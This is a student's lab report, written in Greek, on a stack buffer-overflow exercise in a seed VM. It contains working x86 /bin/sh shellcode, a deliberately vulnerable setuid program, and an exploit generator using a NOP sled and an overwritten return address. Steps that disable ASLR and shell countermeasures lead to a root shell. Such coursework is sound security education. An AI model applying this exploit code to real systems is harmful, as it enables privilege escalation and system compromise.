Πανεπιστήμιο Δυτικής Αττικής
Τμήμα Μηχανικών Πληροφορικής και Ηλεκτρονικών Υπολογιστών

Εργαστήριο Ασφάλειας στην Τεχνολογία της Πληροφορίας – Εργασία 1

Χρήστος Μαργιώλης – 19390133

Απρίλιος 2023

Περιεχόμενα

1 Δραστηριότητα 1: Ανάπτυξη και δοκιμή του shellcode

Αρχικά απενεργοποιούμε το ASLR:

```
[04/08/23]seed@VM:~$ sysctl kernel.randomize_va_space
kernel.randomize_va_space = 2
[04/08/23]seed@VM:~$ sudo sysctl -w kernel.randomize_va
_space=0
kernel.randomize_va_space = 0
[04/08/23]seed@VM:~$
```

Γράφουμε το πρόγραμμα `shellcode.c`:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const char code[] =
        "\x31\xc0"      /* xorl         %eax, %eax      */
        "\x50"          /* pushl        %eax            */
        "\x68""//sh"    /* pushl        $addr           */
        "\x68""/bin"    /* pushl        $addr           */
        "\x89\xe3"      /* movl         %esp, %ebx      */
        "\x50"          /* pushl        %eax            */
        "\x53"          /* pushl        %ebx            */
        "\x89\xe1"      /* movl         %esp, %ecx      */
        "\x99"          /* cdq                          */
        "\xb0\x0b"      /* movb         $0x0b, %al      */
        "\xcd\x80"      /* int          $0x80           */
        ;

int
main(int argc, char *argv[])
{
        char buf[sizeof(code)];

        strcpy(buf, code);
        ((void(*)())buf)();

        return (0);
}
```

Κάνουμε compile και το τρέχουμε:

```
[04/08/23]seed@VM:~$ gcc shellcode.c -o shellcode -z ex
ecstack
[04/08/23]seed@VM:~$ ls -l shellcode
-rwxrwxr-x 1 seed seed 7380 Apr  8 09:46 shellcode
[04/08/23]seed@VM:~$ ./shellcode
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),
24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128
(sambashare)
$ exit
[04/08/23]seed@VM:~$
```

Μετατρέπουμε το πρόγραμμα σε setuid:

```
[04/08/23]seed@VM:~$ sudo chown root shellcode
[04/08/23]seed@VM:~$ sudo chmod 4755 shellcode
[04/08/23]seed@VM:~$ ./shellcode
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),
24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128
(sambashare)
$ exit
[04/08/23]seed@VM:~$
```

Παράκαμψη αντιμέτρου `/bin/sh` δημιουργώντας symbolic link με το `/bin/zsh` και επανεκτέλεση του προγράμματος:

```
[04/08/23]seed@VM:~$ sudo ln -sf /bin/zsh /bin/sh
[04/08/23]seed@VM:~$ ./shellcode
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(
seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113
(lpadmin),128(sambashare)
# exit
[04/08/23]seed@VM:~$
```

2 Δραστηριότητα 2: Ανάπτυξη του ευπαθούς προγράμματος

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int
bof(char *str)
{
        char buf[24];

        strcpy(buf, str);
        return (1);
}

int
main(int argc, char *argv[])
{
        char str[517];
        FILE *badfile;

        badfile = fopen("badfile", "r");
        fread(str, sizeof(char), 517, badfile);
        bof(str);
        printf("returned properly\n");

        return (1);
}
```

Κάνουμε compile και το τρέχουμε:

```
[04/08/23]seed@VM:~$ gcc stack.c -o stack -z execstack
-fno-stack-protector
[04/08/23]seed@VM:~$ sudo chown root stack
s[04/08/23]seed@VM:~$ sudo chmod 4755 stack
[04/08/23]seed@VM:~$ ls -l stack
-rwsr-xr-x 1 root seed 7476 Apr  8 09:51 stack
[04/08/23]seed@VM:~$ ./stack
Segmentation fault
[04/08/23]seed@VM:~$
```

3 Δραστηριότητα 3: Δημιουργία του αρχείου εισόδου (badfile)

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
```

```
const char code[] =
        "\x31\xc0"      /* xorl         %eax, %eax      */
        "\x50"          /* pushl        %eax            */
        "\x68""//sh"    /* pushl        $addr           */
        "\x68""/bin"    /* pushl        $addr           */
        "\x89\xe3"      /* movl         %esp, %ebx      */
        "\x50"          /* pushl        %eax            */
        "\x53"          /* pushl        %ebx            */
        "\x89\xe1"      /* movl         %esp, %ecx      */
        "\x99"          /* cdq                          */
        "\xb0\x0b"      /* movb         $0x0b, %al      */
        "\xcd\x80"      /* int          $0x80           */
        ;

int
main(int argc, char *argv[])
{
        char buf[517];
        FILE *badfile;

        /* fill with nops */
        memset(&buf, 0x90, 517);

        /* place return address */
        *((long *)(buf + 0x24)) = 0xbfffeb48 + 0x60;

        /* place the shellcode at the end of buf */
        memcpy(buf + sizeof(buf) - sizeof(code), code, sizeof(code));

        /* save the contents of badfile */
        badfile = fopen("./badfile", "w");
        fwrite(buf, 517, 1, badfile);
        fclose(badfile);

        return (0);
}
```

Κάνουμε compile και τρέχουμε το πρόγραμμα ώστε να παραχθεί το αρχείο εισόδου:

```
[04/08/23]seed@VM:~$ gcc exploit.c -o exploit
[04/08/23]seed@VM:~$ ./exploit
[04/08/23]seed@VM:~$
```

Αναλύουμε τα περιεχόμενα του badfile μέσω του προγράμματος hexdump:

```
[04/08/23]seed@VM:~$ hexdump -C badfile
00000000  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
*
00000020  90 90 90 90 02 ff ff 0b  90 90 90 90 90 90 90 90  |................|
00000030  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
*
000001e0  90 90 90 90 90 90 90 90  90 90 90 90 31 c0 50 68  |............1.Ph|
000001f0  2f 2f 73 68 68 2f 62 69  6e 89 e3 50 53 89 e1 99  |//shh/bin..PS...|
00000200  b0 0b cd 80 00                                    |.....|
00000205
[04/08/23]seed@VM:~$
```

4 Δραστηριότητα 4: Εύρεση της διεύθυνσης του shellcode μέσα στο badfile

Κάνουμε compile το πρόγραμμα δίνοντας την επιλογή `-g` ώστε να παραχθει debug δεδομένα τα οποία θα χρησιμοποιηθούν από τον GDB:

```
[04/08/23]seed@VM:~$ gcc stack.c -o stack_gdb -g -z execstack -fno-stack-protector
[04/08/23]seed@VM:~$ ls -l stack_gdb
-rwxrwxr-x 1 seed seed 9756 Apr  8 10:17 stack_gdb
```

Βάζουμε breakpoint στην συνάρτηση `bof()` και τρέχουμε το πρόγραμμα στον GDB:

```
gdb-peda$ b bof
Breakpoint 1 at 0x80484c1: file stack.c, line 9.
gdb-peda$ run
Starting program: /home/seed/stack_gdb
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".

[----------------------------------registers-----------------------------------]
EAX: 0xbfffeb87 --> 0x90909090
EBX: 0x0
ECX: 0x804fb20 --> 0x0
EDX: 0x205
ESI: 0xb7f1c000 --> 0x1b1db0
EDI: 0xb7f1c000 --> 0x1b1db0
EBP: 0xbfffeb68 --> 0xbfffed98 --> 0x0
ESP: 0xbfffeb40 --> 0xb7fe96eb (<_dl_fixup+11>: add    esi,0x15915)
EIP: 0x80484c1 (<bof+6>:        sub    esp,0x8)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80484bb <bof>:     push   ebp
   0x80484bc <bof+1>:   mov    ebp,esp
   0x80484be <bof+3>:   sub    esp,0x28
=> 0x80484c1 <bof+6>:   sub    esp,0x8
   0x80484c4 <bof+9>:   push   DWORD PTR [ebp+0x8]
   0x80484c7 <bof+12>:  lea    eax,[ebp-0x20]
   0x80484ca <bof+15>:  push   eax
   0x80484cb <bof+16>:  call   0x8048370 <strcpy@plt>
[-------------------------------------stack-------------------------------------]
0000| 0xbfffeb40 --> 0xb7fe96eb (<_dl_fixup+11>:        add    esi,0x15915)
0004| 0xbfffeb44 --> 0x0
0008| 0xbfffeb48 --> 0xb7f1c000 --> 0x1b1db0
0012| 0xbfffeb4c --> 0xb7b62940 (0xb7b62940)
0016| 0xbfffeb50 --> 0xbfffed98 --> 0x0
0020| 0xbfffeb54 --> 0xb7feff10 (<_dl_runtime_resolve+16>:      pop    edx)
0024| 0xbfffeb58 --> 0xb7dc888b (<__GI__IO_fread+11>:   add    ebx,0x153775)
0028| 0xbfffeb5c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, bof (
    str=0xbfffeb87 '\220' <repeats 36 times>, "\002\377\377\v", '\220' <repeats 160 times>...)
    at stack.c:9
9               strcpy(buf, str);
gdb-peda$
```

Τυπώνουμε τις διευθύνσεις του buffer, καθώς και του καταχωρητή ebp και τέλος υπολογίζουμε την απόσταση τους:

```
gdb-peda$ p &buf
$2 = (char (*)[24]) 0xbfffeb48
gdb-peda$ p $ebp
$3 = (void *) 0xbfffeb68
gdb-peda$ p (0xbfffeb68 - 0xbfffeb48)
$4 = 0x20
gdb-peda$
```

5 Δραστηριότητα 5: Προετοιμασία του αρχείου εισόδου

Τροποποιούμε τον κώδικα του `exploit.c` ώστε να δείχνει στην σωστή διεύθυνση μνήμης (το offset `0x60` προέκυψε μετά από δοκιμές):

```
*((long *)(buf + 0x24)) = 0xbfffeb48 + 0x60;
```

Μεταγλωττίζουμε και ελέγχουμε το νέο badfile:

```
[04/08/23]seed@VM:~$ gcc exploit.c -o exploit && ./exploit && hexdump -C badfile
00000000  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
*
00000020  90 90 90 90 a8 eb ff bf  90 90 90 90 90 90 90 90  |................|
00000030  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
*
000001e0  90 90 90 90 90 90 90 90  90 90 90 90 31 c0 50 68  |............1.Ph|
000001f0  2f 2f 73 68 68 2f 62 69  6e 89 e3 50 53 89 e1 99  |//shh/bin..PS...|
00000200  b0 0b cd 80 00                                    |.....|
00000205
```

6 Δραστηριότητα 6: Εκτέλεση της επίθεσης

```
[04/08/23]seed@VM:~$ sudo ln -sf /bin/zsh /bin/sh
[04/08/23]seed@VM:~$ sudo chown root stack
[04/08/23]seed@VM:~$ sudo chmod 4755 stack
[04/08/23]seed@VM:~$ gcc exploit.c -o exploit && ./exploit && hexdump -C badfile && ./stack
00000000  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
*
00000020  90 90 90 90 a8 eb ff bf  90 90 90 90 90 90 90 90  |................|
00000030  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
*
000001e0  90 90 90 90 90 90 90 90  90 90 90 90 31 c0 50 68  |............1.Ph|
000001f0  2f 2f 73 68 68 2f 62 69  6e 89 e3 50 53 89 e1 99  |//shh/bin..PS...|
00000200  b0 0b cd 80 00                                    |.....|
00000205
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugd
ev),113(lpadmin),128(sambashare)
# exit
[04/08/23]seed@VM:~$
```